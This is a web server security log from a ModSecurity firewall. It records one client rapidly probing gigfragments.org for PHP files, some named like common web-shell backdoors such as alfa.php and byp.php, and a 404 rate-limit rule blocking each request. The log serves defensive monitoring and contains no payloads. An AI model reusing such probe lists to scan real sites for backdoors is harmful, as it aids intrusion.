[Sat Jan 03 03:28:18.827865 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:14721] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aVgcUjVlR_BmlMPnhV6cBQAAAMg"]
[Sat Jan 03 03:28:19.247992 2026] [:error] [pid 2083:tid 2088] [client 20.39.206.242:14356] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aVgcUzVlR_BmlMPnhV6cBgAAAMM"]
[Sat Jan 03 03:28:19.795727 2026] [:error] [pid 1931:tid 2033] [client 20.39.206.242:14665] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aVgcUx8Tyw7ZoIdXlcbaMAAAAIk"]
[Sat Jan 03 03:28:20.471656 2026] [:error] [pid 1929:tid 1939] [client 20.39.206.242:15174] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aVgcVOcFqdpu6TNsuWqxVgAAAAE"]
[Sat Jan 03 03:28:20.978821 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:15085] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aVgcVJP-6mqhfUDa89y58wAAAFE"]
[Sat Jan 03 03:28:21.391240 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:15095] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aVgcVZP-6mqhfUDa89y59AAAAEg"]
[Sat Jan 03 03:28:21.769669 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:15099] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aVgcVecFqdpu6TNsuWqxVwAAAA8"]
[Sat Jan 03 03:28:22.093904 2026] [:error] [pid 1929:tid 1942] [client 20.39.206.242:14369] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVgcVucFqdpu6TNsuWqxWAAAAAQ"]
[Sat Jan 03 03:28:22.509477 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14691] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVgcVucFqdpu6TNsuWqxXQAAAAk"]
[Sat Jan 03 03:28:22.873159 2026] [:error] [pid 1930:tid 1972] [client 20.39.206.242:14341] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVgcVpP-6mqhfUDa89y59wAAAEY"]
[Sat Jan 03 03:28:23.184194 2026] [:error] [pid 1929:tid 1955] [client 20.39.206.242:14383] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aVgcV-cFqdpu6TNsuWqxXwAAABE"]
[Sat Jan 03 03:28:23.474152 2026] [:error] [pid 1930:tid 1989] [client 20.39.206.242:14792] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aVgcV5P-6mqhfUDa89y5-QAAAFc"]
[Sat Jan 03 03:28:23.764829 2026] [:error] [pid 2083:tid 2104] [client 20.39.206.242:14398] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aVgcVzVlR_BmlMPnhV6cCQAAANM"]
[Sat Jan 03 03:28:24.151105 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:14820] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aVgcWDVlR_BmlMPnhV6cCwAAAMo"]
[Sat Jan 03 03:28:24.554658 2026] [:error] [pid 1930:tid 1970] [client 20.39.206.242:14781] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aVgcWJP-6mqhfUDa89y5-wAAAEQ"]
[Sat Jan 03 03:28:25.208815 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:15187] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVgcWZP-6mqhfUDa89y5_AAAAFM"]
[Sat Jan 03 03:28:25.562090 2026] [:error] [pid 1931:tid 2037] [client 20.39.206.242:14340] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVgcWR8Tyw7ZoIdXlcbaQAAAAI0"]
[Sat Jan 03 03:28:25.953923 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:14658] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVgcWR8Tyw7ZoIdXlcbaQQAAAJY"]
[Sat Jan 03 03:28:26.613117 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:14399] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aVgcWjVlR_BmlMPnhV6cDgAAAM0"]
[Sat Jan 03 03:28:27.147165 2026] [:error] [pid 2083:tid 2085] [client 20.39.206.242:14378] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aVgcWzVlR_BmlMPnhV6cEAAAAMA"]
[Sat Jan 03 03:28:27.881060 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14374] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aVgcWzVlR_BmlMPnhV6cEgAAANU"]
[Sat Jan 03 03:28:28.219697 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:14359] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aVgcXOcFqdpu6TNsuWqxagAAAA8"]
[Sat Jan 03 03:28:28.555374 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:14347] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aVgcXOcFqdpu6TNsuWqxbAAAABM"]
[Sat Jan 03 03:28:28.985061 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:15093] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aVgcXOcFqdpu6TNsuWqxbgAAABQ"]
[Sat Jan 03 03:28:29.815154 2026] [:error] [pid 2083:tid 2104] [client 20.39.206.242:15051] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aVgcXTVlR_BmlMPnhV6cFwAAANM"]
[Sat Jan 03 03:28:30.267763 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:14782] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aVgcXjVlR_BmlMPnhV6cGAAAAMc"]
[Sat Jan 03 03:28:30.948080 2026] [:error] [pid 2083:tid 2105] [client 20.39.206.242:15049] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aVgcXjVlR_BmlMPnhV6cGgAAANQ"]
[Sat Jan 03 03:28:31.455983 2026] [:error] [pid 1929:tid 1952] [client 20.39.206.242:14666] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aVgcX-cFqdpu6TNsuWqxcgAAAA4"]
[Sat Jan 03 03:28:32.053103 2026] [:error] [pid 1929:tid 1941] [client 20.39.206.242:14385] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aVgcYOcFqdpu6TNsuWqxcwAAAAM"]
[Sat Jan 03 03:28:32.584532 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:14357] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aVgcYOcFqdpu6TNsuWqxdAAAAAs"]
[Sat Jan 03 03:28:33.088213 2026] [:error] [pid 1929:tid 1951] [client 20.39.206.242:14755] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aVgcYecFqdpu6TNsuWqxdQAAAA0"]
[Sat Jan 03 03:28:33.906586 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:15042] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aVgcYTVlR_BmlMPnhV6cHQAAAM0"]
[Sat Jan 03 03:28:34.965061 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:14343] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aVgcYjVlR_BmlMPnhV6cHgAAAMg"]
[Sat Jan 03 03:28:36.026511 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:14775] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aVgcZB8Tyw7ZoIdXlcbaVAAAAIA"]
[Sat Jan 03 03:28:36.943662 2026] [:error] [pid 1931:tid 2047] [client 20.39.206.242:14346] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aVgcZB8Tyw7ZoIdXlcbaVgAAAJc"]
[Sat Jan 03 03:28:37.319930 2026] [:error] [pid 2083:tid 2090] [client 20.39.206.242:14367] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVgcZTVlR_BmlMPnhV6cIwAAAMU"]
[Sat Jan 03 03:28:38.050979 2026] [:error] [pid 1930:tid 1986] [client 20.39.206.242:15102] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVgcZpP-6mqhfUDa89y6BwAAAFQ"]
[Sat Jan 03 03:28:38.544648 2026] [:error] [pid 2083:tid 2099] [client 20.39.206.242:14368] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVgcZjVlR_BmlMPnhV6cJwAAAM4"]
[Sat Jan 03 03:28:39.112640 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:15068] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aVgcZzVlR_BmlMPnhV6cKAAAAM8"]
[Sat Jan 03 03:28:39.737118 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:15061] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVgcZzVlR_BmlMPnhV6cKwAAAMc"]
[Sat Jan 03 03:28:40.419907 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:14363] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVgcaDVlR_BmlMPnhV6cLQAAAMs"]
[Sat Jan 03 03:28:41.072804 2026] [:error] [pid 2083:tid 2086] [client 20.39.206.242:15094] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVgcaTVlR_BmlMPnhV6cLwAAAME"]
[Sat Jan 03 03:28:41.937970 2026] [:error] [pid 2083:tid 2103] [client 20.39.206.242:14794] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aVgcaTVlR_BmlMPnhV6cMgAAANI"]
[Sat Jan 03 03:28:42.419453 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14360] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVgcajVlR_BmlMPnhV6cNQAAANU"]
[Sat Jan 03 03:28:43.033251 2026] [:error] [pid 2083:tid 2102] [client 20.39.206.242:14657] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVgcazVlR_BmlMPnhV6cOQAAANE"]
[Sat Jan 03 03:28:43.483341 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:14392] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVgcazVlR_BmlMPnhV6cOwAAANY"]
[Sat Jan 03 03:28:43.981647 2026] [:error] [pid 2083:tid 2109] [client 20.39.206.242:14376] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aVgcazVlR_BmlMPnhV6cPAAAANg"]
[Sat Jan 03 03:28:44.380643 2026] [:error] [pid 1930:tid 1976] [client 20.39.206.242:15100] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVgcbJP-6mqhfUDa89y6CAAAAEo"]
[Sat Jan 03 03:28:44.808982 2026] [:error] [pid 2083:tid 2101] [client 20.39.206.242:14707] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVgcbDVlR_BmlMPnhV6cPgAAANA"]
[Sat Jan 03 03:28:45.178335 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:14705] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVgcbTVlR_BmlMPnhV6cPwAAAMo"]
[Sat Jan 03 03:28:45.538010 2026] [:error] [pid 1929:tid 1956] [client 20.39.206.242:14669] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aVgcbecFqdpu6TNsuWqxdwAAABI"]
[Sat Jan 03 03:28:45.824162 2026] [:error] [pid 1929:tid 1938] [client 20.39.206.242:14713] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aVgcbecFqdpu6TNsuWqxeAAAAAA"]
[Sat Jan 03 03:28:46.261780 2026] [:error] [pid 2083:tid 2105] [client 20.39.206.242:15040] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aVgcbjVlR_BmlMPnhV6cQgAAANQ"]
[Sat Jan 03 03:28:46.756479 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:14727] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aVgcbjVlR_BmlMPnhV6cQwAAAMk"]
[Sat Jan 03 03:28:47.063035 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:14674] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aVgcb-cFqdpu6TNsuWqxegAAABg"]
[Sat Jan 03 03:28:47.375223 2026] [:error] [pid 1929:tid 1961] [client 20.39.206.242:14393] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aVgcb-cFqdpu6TNsuWqxewAAABc"]
[Sat Jan 03 03:28:47.662721 2026] [:error] [pid 1931:tid 2045] [client 20.39.206.242:15175] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aVgcbx8Tyw7ZoIdXlcbaWwAAAJU"]
